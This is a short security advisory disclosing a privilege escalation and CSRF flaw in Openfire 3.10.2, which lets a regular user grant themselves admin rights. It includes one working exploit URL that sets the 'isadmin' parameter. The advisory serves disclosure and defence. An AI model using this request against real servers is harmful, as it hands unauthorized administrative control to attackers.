Openfire 3.10.2 Privilege Escalation

`[+] Credits: hyp3rlinx  
  
[+] Website: hyp3rlinx.altervista.org  
  
[+] Source:  
http://hyp3rlinx.altervista.org/advisories/AS-OPENFIRE-PRIV-ESCALATION.txt  
  
  
  
Vendor:  
================================  
www.igniterealtime.org/projects/openfire  
www.igniterealtime.org/downloads/index.jsp  
  
  
  
Product:  
================================  
Openfire 3.10.2  
  
Openfire is a real time collaboration (RTC) server licensed under the Open  
Source Apache License.  
It uses the only widely adopted open protocol for instant messaging, XMPP  
(also called Jabber).  
  
  
  
Vulnerability Type:  
===================  
Privilege escalation  
  
  
  
CVE Reference:  
==============  
N/A  
  
  
  
  
Vulnerability Details:  
=====================  
No check is made when updating the user privileges, allowing regular user  
to become an admin.  
Escalation can be done remotely too if user is logged in as no CSRF token  
exist.  
  
  
  
  
  
Exploit code(s):  
===============  
  
Become admin!  
  
http://localhost:9090/user-edit-form.jsp?username=hyp3rlinx&save=true&name=blasphemer&[email protected]&isadmin=on  
  
  
  
  
Disclosure Timeline:  
=========================================================  
  
Vendor Notification: NA  
Sept 14, 2015 : Public Disclosure  
  
  
  
  
Exploitation Technique:  
=======================  
Local or Remote  
  
  
  
Severity Level:  
=========================================================  
High  
  
  
  
Description:  
==========================================================  
  
  
Request Method(s): [+] GET  
  
  
Vulnerable Product: [+] Openfire 3.10.2  
  
  
Vulnerable Parameter(s): [+] isadmin  
  
  
Affected Area(s): [+] Admin  
  
  
===========================================================  
  
[+] Disclaimer  
Permission is hereby granted for the redistribution of this advisory,  
provided that it is not altered except by reformatting it, and that due  
credit is given. Permission is explicitly given for insertion in  
vulnerability databases and similar, provided that due credit is given to  
the author.  
The author is not responsible for any misuse of the information contained  
herein and prohibits any malicious use of all security related information  
or exploits by the author or elsewhere.  
  
by hyp3rlinx  
`